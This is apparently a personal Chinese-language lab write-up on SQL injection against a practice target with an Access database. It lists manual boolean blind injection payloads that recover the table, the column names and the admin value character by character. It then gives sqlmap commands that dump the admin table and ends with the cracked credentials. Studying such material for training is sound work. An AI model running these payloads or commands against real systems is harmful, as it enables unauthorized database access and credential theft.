0x01 前言
学习Access数据库注入方式之后,总觉得不那么扎实,找个靶机巩固练习下。
手工猜解
0x02 寻找注入点
随便点开一个产品展示页面后,发现了?id=1406,测一下这里是不是注入点。
测试结果如下:
- ?id=1406' 页面回显异常
- ?id=1406" 页面回显异常
这时心里有了初步的判断,这里存在注入点,数字型注入。
再使用and连接符确定下: - ?id=1406 and 1=1 页面回显正常
- ?id=1406 and 1=2 页面回显异常
此时心里已经有了明确的答案了,那,干就完了。
0x03 猜解表名
先盲猜一个admin表名,如果admin表存在,那么页面回显正常;如果admin表不存在,那么页面回显异常。结果运气不错,真的存在admin表名。
?id=1406 and exists(select * from admin)
0x04 猜解列数
接下来将通过猜解出来的表名来查询该表的列数:
?id=1406 and exists(select * from admin order by 6)
0x05 猜解列名
列名的猜解跟表名的猜解一个逻辑:
?id=1406 and exists(select id from admin)
这里对着Access数据库里的admin表猜出了所有的列名,分别是:
id、admin、password、login_count、count_time、popedom
0x06 猜解行数
猜完表名和列名后,就需要猜一下这张表一共有多少行:
?id=1406 and (select count(*) from admin)>10
如果行数大于10,则页面回显正常;否则页面回显错误。最后猜出来结果为1。
0x07 猜解字段值
这里仍然得依次猜解每列的字段值,逻辑是先猜长度,再猜每个字符,然后拼接。猜完这一列,还有下一列。
- 猜解admin列的值
- 先猜admin列的值长度
?id=1406 and (select top 1 len(admin) from admin)=5
这边表一共只有一行,本来是不用写top 1来限制行数的,但练习,特意写上给自己加深印象。
这里查询到admin列的值为5
- 猜admin列值的字符
- 第一个字符
?id=1406 and (select top 1 asc(mid(admin,1,1))from admin)=97
页面显示正常,第一个字符是a - 第二个字符
?id=1406 and (select top 1 asc(mid(admin,2,1))from admin)=100
页面显示正常,第二个字符是d - 第三个字符
?id=1406 and (select top 1 asc(mid(admin,3,1))from admin)=109
页面显示正常,第三个字符是m - 第四个字符
?id=1406 and (select top 1 asc(mid(admin,4,1))from admin)=105
页面显示正常,第四个字符是i - 第五个字符
?id=1406 and (select top 1 asc(mid(admin,5,1))from admin)=110
页面显示正常,第五个字符是n
以此类推,猜解password列的字段值。
- 第一个字符
使用sqlmap猜解
探测是否存在注入点
sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406"
可以看到数据库类型为access数据库,注入类型为布尔盲注。
猜解表名
sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406" --tables
猜解admin表中的列名
sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406" -T admin --columns
比手工注入出来少一个列名,不知道为啥。
查询admin和password的值
sqlmap -u "http://192.168.31.53:8001/Production/PRODUCT_DETAIL.asp?id=1406" -T admin -C admin -C password --dump
可以看到已经跑出值了,将md5解密了一下,得到账号密码为admin/bendss
总结
还是sqlmap一把梭得劲。